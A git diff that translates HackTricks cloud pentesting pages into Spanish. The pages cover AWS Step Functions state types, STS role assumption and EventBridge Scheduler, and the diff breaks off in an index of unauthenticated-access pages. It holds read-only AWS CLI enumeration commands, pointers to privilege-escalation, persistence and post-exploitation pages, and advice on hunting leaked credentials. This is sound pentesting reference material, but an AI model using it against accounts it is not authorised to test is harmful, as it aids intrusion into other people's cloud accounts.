**`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Activities**: Trabajadores personalizados que gestionas, adecuados para procesos de larga duración. +- Resource: **`arn:aws:states:region:account:activity:name`**. +- **Lambda Functions**: Ejecuta funciones de AWS Lambda. +- Resource: **`arn:aws:lambda:region:account:function:function-name`**. +- **AWS Services**: Se integra directamente con otros servicios de AWS, como DynamoDB o S3. +- Resource: **`arn:partition:states:region:account:servicename:APIname`**. +- **HTTP Task**: Llama a APIs de terceros. +- Resource field: **`arn:aws:states:::http:invoke`**. Luego, debes proporcionar los detalles de configuración del endpoint de la API, como la URL de la API, el método y los detalles de autenticación. +El siguiente ejemplo muestra una definición de estado de Task que invoca una función Lambda llamada HelloWorld: ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. +Un **Choice** state añade lógica condicional a un flujo de trabajo, permitiendo decisiones basadas en datos de entrada. Evalúa las condiciones especificadas y transiciona al estado correspondiente según los resultados. -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. - -Example of **Choice** state: +- **Comparison**: Cada regla de elección incluye un operador de comparación (por ejemplo, **`NumericEquals`**, **`StringEquals`**) que compara una variable de entrada con un valor especificado u otra variable. +- **Next Field**: Los estados de elección no soportan el campo **`End`**, en su lugar, definen el estado **`Next`** al que transicionar si la comparación es verdadera. +Ejemplo de **Choice** state: ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` - ### Fail/Succeed -A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. +Un **`Fail`** estado detiene la ejecución de una máquina de estados y la marca como un fallo. Se utiliza para especificar un nombre de error y una causa, proporcionando detalles sobre el fallo. Este estado es terminal, lo que significa que finaliza el flujo de ejecución. -A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. +Un **`Succeed`** estado detiene la ejecución con éxito. Se utiliza típicamente para terminar el flujo de trabajo cuando se completa con éxito. Este estado no requiere un campo **`Next`**. {{#tabs }} {{#tab name="Fail example" }} - ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="Ejemplo de éxito" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +Un **Pass** state pasa su entrada a su salida ya sea sin realizar ningún trabajo o transformando la entrada del estado JSON utilizando filtros, y luego pasando los datos transformados al siguiente estado. Es útil para probar y construir máquinas de estado, permitiéndote inyectar datos estáticos o transformarlos. ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" +} +``` +### Wait + +Un **Wait** state retrasa la ejecución de la máquina de estados por una duración especificada. Hay tres métodos principales para configurar el tiempo de espera: + +- **X Seconds**: Un número fijo de segundos para esperar. + +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" } ``` -### Wait +- **Absolute Timestamp**: Un tiempo exacto hasta el cual esperar. -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **X Seconds**: A fixed number of seconds to wait. +- **Dynamic Wait**: Basado en la entrada usando **`SecondsPath`** o **`TimestampPath`**. - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` - -- **Absolute Timestamp**: An exact time to wait until. - - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` - -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. - - ```json - jsonCopiar código - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar código +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: - -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. +Un **Parallel** state te permite ejecutar múltiples ramas de tareas de manera concurrente dentro de tu flujo de trabajo. Cada rama se ejecuta de forma independiente y procesa su propia secuencia de estados. La ejecución espera hasta que todas las ramas se completen antes de proceder al siguiente estado. Sus campos clave son: +- **Branches**: Un array que define las rutas de ejecución paralela. Cada rama es una máquina de estados separada. +- **ResultPath**: Define dónde (en la entrada) colocar la salida combinada de las ramas. +- **Retry and Catch**: Configuraciones de manejo de errores para el estado paralelo. ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Mapa + +Un **Mapa** permite la ejecución de un conjunto de pasos para cada elemento en un conjunto de datos. Se utiliza para el procesamiento paralelo de datos. Dependiendo de cómo desees procesar los elementos del conjunto de datos, Step Functions proporciona los siguientes modos: + +- **Modo en línea**: Ejecuta un subconjunto de estados para cada elemento del arreglo JSON. Adecuado para tareas a pequeña escala con menos de 40 iteraciones paralelas, ejecutando cada una de ellas en el contexto del flujo de trabajo que contiene el estado **`Map`**. + +```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Modo distribuido**: Diseñado para el procesamiento paralelo a gran escala con alta concurrencia. Soporta el procesamiento de grandes conjuntos de datos, como los almacenados en Amazon S3, permitiendo una alta concurrencia de hasta 10,000 ejecuciones de flujos de trabajo hijos paralelos, ejecutando estos hijos como una ejecución hija separada. -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. +### Versiones y alias - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` +Step Functions también te permite gestionar implementaciones de flujos de trabajo a través de **versiones** y **alias** de máquinas de estado. Una versión representa una instantánea de una máquina de estado que puede ser ejecutada. Los alias sirven como punteros a hasta dos versiones de una máquina de estado. -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. +- **Versiones**: Estas instantáneas inmutables de una máquina de estado se crean a partir de la revisión más reciente de esa máquina de estado. Cada versión se identifica por un ARN único que combina el ARN de la máquina de estado con el número de versión, separado por dos puntos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Las versiones no pueden ser editadas, pero puedes actualizar la máquina de estado y publicar una nueva versión, o usar la versión de máquina de estado deseada. +- **Alias**: Estos punteros pueden hacer referencia a hasta dos versiones de la misma máquina de estado. Se pueden crear múltiples alias para una sola máquina de estado, cada uno identificado por un ARN único construido combinando el ARN de la máquina de estado con el nombre del alias, separado por dos puntos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Los alias permiten el enrutamiento de tráfico entre una de las dos versiones de una máquina de estado. Alternativamente, un alias puede apuntar a una versión específica de la máquina de estado, pero no a otros alias. Pueden ser actualizados para redirigir a una versión diferente de la máquina de estado según sea necesario, facilitando implementaciones controladas y gestión de flujos de trabajo. - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +Para más información detallada sobre **ASL**, consulta: [**Amazon States Language**](https://states-language.net/spec.html). -### Versions and aliases +## Roles de IAM para máquinas de estado -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +AWS Step Functions utiliza roles de AWS Identity and Access Management (IAM) para controlar el acceso a recursos y acciones dentro de las máquinas de estado. Aquí están los aspectos clave relacionados con la seguridad y los roles de IAM en AWS Step Functions: -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Rol de ejecución**: Cada máquina de estado en AWS Step Functions está asociada con un rol de ejecución de IAM. Este rol define qué acciones puede realizar la máquina de estado en tu nombre. Cuando una máquina de estado transita entre estados que interactúan con servicios de AWS (como invocar funciones Lambda, acceder a DynamoDB, etc.), asume este rol de ejecución para llevar a cabo esas acciones. +- **Permisos**: El rol de ejecución de IAM debe ser configurado con permisos que permitan las acciones necesarias en otros servicios de AWS. Por ejemplo, si tu máquina de estado necesita invocar funciones de AWS Lambda, el rol de IAM debe tener permisos de **`lambda:InvokeFunction`**. De manera similar, si necesita escribir en DynamoDB, se deben otorgar los permisos apropiados (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.). -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). - -## IAM Roles for State machines - -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: - -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. - -## Enumeration - -ReadOnlyAccess policy is enough for all the following enumeration actions. +## Enumeración +La política ReadOnlyAccess es suficiente para todas las siguientes acciones de enumeración. ```bash # State machines # @@ -310,35 +297,30 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` - ## Privesc -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +En la siguiente página, puedes verificar cómo **abusar de los permisos de Step Functions para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md {{#endref}} -## Post Exploitation +## Post Explotación {{#ref}} ../aws-post-exploitation/aws-stepfunctions-post-exploitation.md {{#endref}} -## Persistence +## Persistencia {{#ref}} ../aws-persistence/aws-step-functions-persistence.md {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsstepfunctions.html) - [https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html](https://docs.aws.amazon.com/step-functions/latest/dg/welcome.html) - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..929ead338 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS Security Token Service (STS)** está diseñado principalmente para emitir **credenciales temporales y de privilegio limitado**. Estas credenciales pueden ser solicitadas para **AWS Identity and Access Management (IAM)** usuarios o para usuarios autenticados (usuarios federados). -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +Dado que el propósito de STS es **emitir credenciales para la suplantación de identidad**, el servicio es inmensamente valioso para **escalar privilegios y mantener persistencia**, aunque puede que no tenga una amplia gama de opciones. -### Assume Role Impersonation +### Suplantación de Rol -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +La acción [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) proporcionada por AWS STS es crucial ya que permite a un principal adquirir credenciales para otro principal, esencialmente suplantándolo. Al invocarse, responde con un ID de clave de acceso, una clave secreta y un token de sesión correspondiente al ARN especificado. -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +Para los testers de penetración o miembros del equipo rojo, esta técnica es instrumental para la escalada de privilegios (como se detalla [**aquí**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Sin embargo, vale la pena señalar que esta técnica es bastante conspicua y puede no sorprender a un atacante. -#### Assume Role Logic - -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: +#### Lógica de Suplantación de Rol +Para asumir un rol en la misma cuenta si el **rol a asumir permite específicamente un ARN de rol** como en: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +El rol **`priv-role`** en este caso, **no necesita ser específicamente permitido** para asumir ese rol (con ese permiso es suficiente). -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +Sin embargo, si un rol permite que una cuenta lo asuma, como en: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +El rol que intenta asumir necesitará un **permiso específico `sts:AssumeRole`** sobre ese rol **para asumirlo**. -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). - -### Enumeration +Si intentas asumir un **rol** **de una cuenta diferente**, el **rol asumido debe permitirlo** (indicando el **ARN** del rol o la **cuenta externa**), y el **rol que intenta asumir** el otro **DEBE** tener **permisos para asumirlo** (en este caso, esto no es opcional incluso si el rol asumido está especificando un ARN). +### Enumeración ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,33 +67,28 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` - ### Privesc -In the following page you can check how to **abuse STS permissions to escalate privileges**: +En la siguiente página puedes verificar cómo **abusar de los permisos de STS para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-sts-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-sts-persistence.md {{#endref}} -## References +## Referencias - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..d22101641 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler** es un programador completamente gestionado y **sin servidor diseñado para crear, ejecutar y gestionar tareas** a gran escala. Te permite programar millones de tareas a través de más de 270 servicios de AWS y más de 6,000 operaciones de API, todo desde un servicio central. Con fiabilidad incorporada y sin infraestructura que gestionar, EventBridge Scheduler simplifica la programación, reduce los costos de mantenimiento y se escala automáticamente para satisfacer la demanda. Puedes configurar expresiones cron o de tasa para horarios recurrentes, establecer invocaciones únicas y definir ventanas de entrega flexibles con opciones de reintento, asegurando que las tareas se entreguen de manera confiable según la disponibilidad de los objetivos posteriores. -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +Hay un límite inicial de 1,000,000 de horarios por región por cuenta. Incluso la página oficial de cuotas sugiere: "Se recomienda eliminar los horarios únicos una vez que se hayan completado." -### Types of Schedules +### Tipos de Horarios -Types of Schedules in EventBridge Scheduler: +Tipos de Horarios en EventBridge Scheduler: -1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **Horarios únicos** – Ejecuta una tarea en un momento específico, por ejemplo, el 21 de diciembre a las 7 AM UTC. +2. **Horarios basados en tasa** – Establece tareas recurrentes basadas en una frecuencia, por ejemplo, cada 2 horas. +3. **Horarios basados en cron** – Establece tareas recurrentes utilizando una expresión cron, por ejemplo, cada viernes a las 4 PM. -Two Mechanisms for Handling Failed Events: +Dos Mecanismos para Manejar Eventos Fallidos: -1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **Política de Reintento** – Define el número de intentos de reintento para un evento fallido y cuánto tiempo mantenerlo sin procesar antes de considerarlo un fallo. +2. **Cola de Mensajes Muertos (DLQ)** – Una cola estándar de Amazon SQS donde se entregan los eventos fallidos después de que se agotan los reintentos. Las DLQ ayudan a solucionar problemas con tu horario o su objetivo posterior. -### Targets +### Objetivos -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API. +Hay 2 tipos de objetivos para un programador [**templatados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que son comúnmente utilizados y AWS los hizo más fáciles de configurar, y [**universales (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que se pueden usar para llamar a cualquier API de AWS. -**Templated targets** support the following services: +**Objetivos templados** admiten los siguientes servicios: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask - - Parameters: EcsParameters +- Parámetros: EcsParameters - EventBridge – PutEvents - - Parameters: EventBridgeParameters +- Parámetros: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord - - Parameters: KinesisParameters +- Parámetros: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Parámetros: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage - - Parameters: SqsParameters +- Parámetros: SqsParameters - Step Functions – StartExecution -### Enumeration - +### Enumeración ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,21 +64,16 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +En la siguiente página, puedes verificar cómo **abusar de los permisos del programador de eventbridge para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md {{#endref}} -## References +## Referencias - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..e57373f31 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,58 +1,54 @@ -# AWS - Unauthenticated Enum & Access +# AWS - Enumeración y Acceso No Autenticado {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## Fugas de Credenciales de AWS -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +Una forma común de obtener acceso o información sobre una cuenta de AWS es **buscando fugas**. Puedes buscar fugas utilizando **google dorks**, revisando los **repos públicos** de la **organización** y los **trabajadores** de la organización en **Github** u otras plataformas, buscando en **bases de datos de fugas de credenciales**... o en cualquier otra parte que creas que podrías encontrar información sobre la empresa y su infraestructura en la nube.\ +Algunas **herramientas** útiles: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## Enumeración y Acceso No Autenticado en AWS -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +Hay varios servicios en AWS que podrían estar configurados dando algún tipo de acceso a todo Internet o a más personas de lo esperado. Revisa aquí cómo: -- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**Enumeración No Autenticada de Cuentas**](aws-accounts-unauthenticated-enum.md) +- [**Enumeración No Autenticada de Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Enumeración No Autenticada de Cloudfront**](aws-cloudfront-unauthenticated-enum.md) +- [**Enumeración No Autenticada de Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Enumeración No Autenticada de Cognito**](aws-cognito-unauthenticated-enum.md) +- [**Enumeración No Autenticada de DocumentDB**](aws-documentdb-enum.md) +- [**Enumeración No Autenticada de EC2**](aws-ec2-unauthenticated-enum.md) +- [**Enumeración No Autenticada de Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md) +- [**Enumeración No Autenticada de IAM**](aws-iam-and-sts-unauthenticated-enum.md) +- [**Acceso No Autenticado de IoT**](aws-iot-unauthenticated-enum.md) +- [**Acceso No Autenticado de Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) +- [**Acceso No Autenticado de Media**](aws-media-unauthenticated-enum.md) +- [**Acceso No Autenticado de MQ**](aws-mq-unauthenticated-enum.md) +- [**Acceso No Autenticado de MSK**](aws-msk-unauthenticated-enum.md) +- [**Acceso No Autenticado de RDS**](aws-rds-unauthenticated-enum.md) +- [**Acceso No Autenticado 